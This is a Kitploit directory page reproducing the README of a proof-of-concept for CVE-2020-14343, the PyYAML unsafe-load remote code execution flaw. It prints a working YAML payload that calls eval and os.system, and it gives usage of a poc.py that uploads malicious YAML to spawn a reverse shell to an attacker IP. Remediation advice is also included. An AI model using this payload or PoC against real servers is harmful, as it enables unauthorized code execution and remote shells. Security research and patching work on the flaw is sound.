Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-14343-PyYAML — CVE-2020-14343的payload | Kitploit
Tools/GitHubGitHub/kairo-one/cve-2020-14343-pyyaml
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubkairo-one/cve-2020-14343-pyyaml

CVE-2020-14343-PyYAML

CVE-2020-14343的payload

View Repository
29 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-14343 PyYAML Deserialization Vulnerability POC

Vulnerability Overview

Download Tool
ItemInformation
CVE IDCVE-2020-14343
Affected ComponentPyYAML < 5.4
Vulnerability TypeDeserialization Remote Code Execution (RCE)
SeverityHigh

Vulnerability Principle

When PyYAML uses yaml.load() to parse untrusted data, it does not restrict dangerous YAML tags (such as !!python/object), allowing attackers to craft malicious YAML content to execute arbitrary Python code.

Payload Core:

root@kitploit:~
!!python/object/new:tuple
  - !!python/object/new:map
    - !!python/name:eval
    - ["__import__('os').system('command')"]

Usage

root@kitploit:~
python poc.py <目标URL> <攻击者IP> <监听端口>

Example:

root@kitploit:~
python poc.py http://vulnerable-site.com 192.168.1.100 4444

Attack Flow

  1. The script starts a TCP listener locally
  2. Uploads malicious YAML file to the target /upload endpoint
  3. Triggers the /login endpoint to load and parse the YAML
  4. The target server executes the payload, spawning a reverse shell to the attacker

Dependency Installation

root@kitploit:~
pip install requests

Disclaimer

⚠️ This tool is intended for security research and authorized testing only!

  • Do not use for illegal purposes
  • Ensure you have obtained authorization from the target system before use
  • The author is not responsible for any misuse

Remediation Suggestions

  1. Use yaml.safe_load() instead of yaml.load()
  2. Upgrade PyYAML to version 5.4 or later
  3. Strictly validate user input

References

  • CVE-2020-14343 - NVD
  • PyYAML Official Documentation